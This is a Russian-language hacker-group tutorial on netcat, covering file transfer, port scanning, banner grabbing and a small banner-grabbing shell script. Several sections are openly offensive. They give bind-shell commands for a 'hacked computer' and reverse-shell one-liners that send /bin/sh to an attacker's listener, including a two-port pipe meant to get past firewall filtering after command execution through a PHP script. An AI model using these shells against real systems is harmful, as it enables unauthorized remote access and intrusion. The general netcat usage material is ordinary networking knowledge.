-------------------------------------------
#!/usr/share/doc/defaced/3/tandp/netcat.txt
-------------------------------------------

                    ::: Швейцарский армейский нож хакера :::

                              (by GipsHackers Crew)


Утилиту  netcat заслуженно называют "швейцарским армейским ножом протокола TCP".
Netcat (далее -nc) представляет собой универсальную утилиту, способную принимать
и передавать данные TCP и UDP соединений.
Hobbit  ([email protected])  зарелизил  nc в 1995 году в качестве инструмента для
исследования  и  отладки  сети,  который  был  бы  способен создавать любые типы
сетевых соединений. Оригинальная версия была написана под UNIX (и Linux). В 1998
г. Weld Pond из L0pht сделал версию под Windows NT.


:: Основные возможности nc:

- входящие и исходящие TCP или UDP соединения на и с любого порта
- полная проверка DNS перенаправлений
- возможность использовать любой локальный порт 
-  возможность  использовать  любой  локально  сконфигурированный  сетевой адрес
(интерфейс)
- встроенная возможность сканирования сетевых адресов
- возможность чтения аргументов командной строки через стандартный вход
- и т.п.

Но,  чтобы  понять  что к чему, лучше посмотреть на примеры использования nc. Не
будем разжевывать зачем и в каких случаях это используют. Кому нужно - поймет ;-)


:: Открываем удаленный доступ к командной строке ::

Под unix:
nc -l -p 31337 -e /bin/sh

Под НТ:
nc -l -p 31337 -d -e cmd.ex -L

Разберем опции:
-l -- включаем режим "слушания"
-p -- здесь, кажется, все ясно: указываем какой порт прослушивать (31337)
-d -- позволяет nc запуститься независимо от консоли
-e  --  указывает nc, что после установления соединения нужно запустить (cmd.exe
или /bin/sh)
-L -- nc должна перезапускаться с теми же параметрами после разрыва соединения

Чтобы  клиент  установил соединение достаточно запустить nc, сославшись на адрес
сервера и прослушиваемый порт:

nc IP 31337

Чтобы выйти из консольной сессии напишите команду exit.

Задание:  разберите  основные  флаги  (см.  "Разбор  полетов"  в  конце  статьи)
следующего  примера  и  догадайтесь,  почему  хакеры  используют  такой  вариант
установления соединения ;-).

- на взломанном компьютере с адресом 10.10.1.15:
nc -l -p 31337 -nvv -e /bin/sh &

- на компьютере хакера:
nc -nvv 10.10.1.15 31337


:: Работаем с FTP ::

Передавать файлы можно при помощи перенаправления вывода.

На машине, куда передаем файл (с ip адресом IP):
nc -l -p 1337 >имя_файла

На машине, с которой передаем файл:
nc IP 1337 <имя_файла

Выходим при помощи ^C. 


:: Сканируем порты ::

Вот пример, который давал Hobbit:
nc -v -w2 -z цель 20-30

Nc  будет  пытаться  присоединиться  к  каждому порту в диапазоне от 20 до 30 на
машине с адресом "цель" и проинформирует нас о банерах, которые передадут службы
ftp, telnet и др., в случае успешного осединения. Флаг -z предотвращает отправку
каких-либо  данных  по  TCP  соединению  (соответственно  скорость  сканирования
увеличится),  режим нулевого ввода-вывода. Параметр -w2 задает интервал ожидания
для   каждого   соединения.   Для   ограничения   скорости   сканирования  можно
воспользоваться  флагом  -i  и  указать  разрыв  между  пробами  портов. Уровень
подробности выводимой информации задается при помощи -v или -vv.
По умолчанию nc использует TCP соединение. Для задания UDP указываем -u.

В  любом  случае,  nc  -  это  не сканер. Если ничего нас не ограничивает, лучше
воспользоваться nmap для этого.


:: Собираем идентификационные маркеры ::

Да,  конечно, можно просто зателнетиться на определенный порт и получить минимум
информации.  Но  давайте  посмотрим  разницу между получением маркера при помощи
telnet и nc.

$ telnet 10.15.6.40 80
HEAD / HTTP/1.0
 

HTTP/1.1 200 OK
Date: Wed, 15 Oct 2003 09:19:50 GMT
Server: Apache/1.3.19 (Win32) PHP/4.3.1
Last-Modified: Mon, 01 Apr 2002 07:43:38 GMT
ETag: "0-4ef-3ca80faa"
Accept-Ranges: bytes
Content-Length: 1263
Connection: close
Content-Type: text/html

А теперь дело за неткат:
$ nc -v 10.15.6.40 80  
BEAR [10.15.6.40] 80 (?) open
HEAD / HTTP/1.0


HTTP/1.1 200 OK
Date: Wed, 15 Oct 2003 09:23:02 GMT
Server: Apache/1.3.19 (Win32) PHP/4.3.1
Last-Modified: Mon, 01 Apr 2002 07:43:38 GMT
ETag: "0-4ef-3ca80faa"
Accept-Ranges: bytes
Content-Length: 1263
Connection: close
Content-Type: text/html

sent 17, rcvd 255: NOTSOCK

Возможно  уместно  будет  создать  простенький сценарий, который бы вызывал nc с
нужными параметрами.

-- begin of marker.sh --
#!/bin/sh
if [ -z $1 ]; then
    echo -e "Usage: $0 <host> <port>"
    exit
fi
echo -e "HEAD / HTTP/1.0\n\n" | \
nc -vv $1 $2
-- end of marker.sh --

Хотя  этот  сценарий  больше подходит для сбора маркеров веб-серверов, подогнать
под  другие цели не составит труда. Например, чтоб получить страницу для анализа
можно указать "GET /index.html HTTP/1.0" и выходные данные передать команде grep
для поиска интересующего контента.


:: Делаем обратный коннект ::

Часто бывает нужно обойти ограничения файрвола на удаленном сервере. Представьте
себе,  вы  получили  доступ  к  выполнению  системных  команд, скажем, через php
скрипт.  Но  вы  ограничены в действиях, и вам нужен нормальный shell. Запускаем
бекдор  и  обнаруживаем,  что  связи с сервером по порту, который открыл бекдор,
все-таки  нет.  Очень  похоже  на  фильтрацию портов брандмауэром? Что делать? В
таких  случаях  обычно  пытаются  установить  обратный коннект (обратный канал),
когда  наш  сервер выступает в роли клиента. Скорее всего не будут фильтроваться
исходящие  соединения  по  портам  80 и 25. Этим мы и воспользуемся. Как это все
реализуется при помощи netcat:

- на машине хакера с IP 10.31.3.37:
nc -l -n -v -p 80

- на сервере:
nc -e /bin/sh 10.31.3.37 80

Сервер  создаст  обратный  канал  и,  соединившись с нашим компьютером, даст нам
доступ к командному интерпретатору.

Но  бывает,  что  брандмауэр  пропускает  входящие  запросы  по  одному порту, а
исходящие  -  по другому. В таком случае нужно сделать реверсивный сеанс. пусть,
как мы и сказали ранее, это будут порты 25 и 80.

Запускаем на машине хакера 3.1.3.37 два сеанса nc:
nc -vv -l -p 25
nc -vv -l -p 80

на взломанном сервере:
nc 3.1.3.37 80 | /bin/sh | nc 3.1.3.37 25

Что  мы  увидим  на  нашем  компьютере?  На  80-й порт мы принимаем соединение с
сервером,  передаем  команды, которые в свою очередь перенаправляются командному
интерпретатору, а результат направляется нам на порт 25.


:: Разбор полетов ::

Опции nc:
-d    запускает nc не в консольном (скрытом) режиме
-e    для запуска другой программы
-i    задает временной интервал    
-g    используется для саздания протрассированного соединения (после traceroute)
-G    позиционирует "прыгающий указатель" в списке
-l    переводит nc в режим ожидания входящего соединения
-L    перезапускает nc с теми же параметрами, что и до разрыва соединения
-n    неткат использует только IP адреса и не делает DNS запросов
-o    используется для получения HEX дампа файла данных. использование: -o имя_лог_файла.
-p    требуется для исходящих соединений. параметр, задающий порт, может быть как числом так и именем. если не использовать -p, nc будет использоватьлюбой из неиспользуемых портов, которые система выделит (и если не используется опция -r). 
-r    сканирование портов будет происходить случайным образом (в нормальном режиме - от большего к меньшему)    
-s    указывает какой сетевой адрес использовать ("-s IP" или "-s имя"). в логе входящие и исходящие соединения будут начинаться с символов "<" и ">" соответственно.
-t    позволяет nc отвечать на согласование опций telnet (работает только, если nc скомпилирована с параметром -DTELNET)
-u    указывает, что нужно использовать UDP, а не TCP
-v    контролирует уровень подробности информации:
                   @ без параметра -n будет производиться полный поиск имен и адресов хоста, будет сообщено о несоответствии имен DNS                   
                   @ часто требуется использовать -w 3, что ограничит время, затрачиваемое на попытку установить соединение
                   @ для нескольких портов требуется использовать -v дважды
-w    ограничивает время, затрачиваемое на попытку установления соединения
-z    предупреждает отправку любых данных по TCP соединению и очень ограничивает зондирование UDP соединений. использование -i даст возможность задать интервал между попытками. полезно для задания быстрого сканирования открытых портов.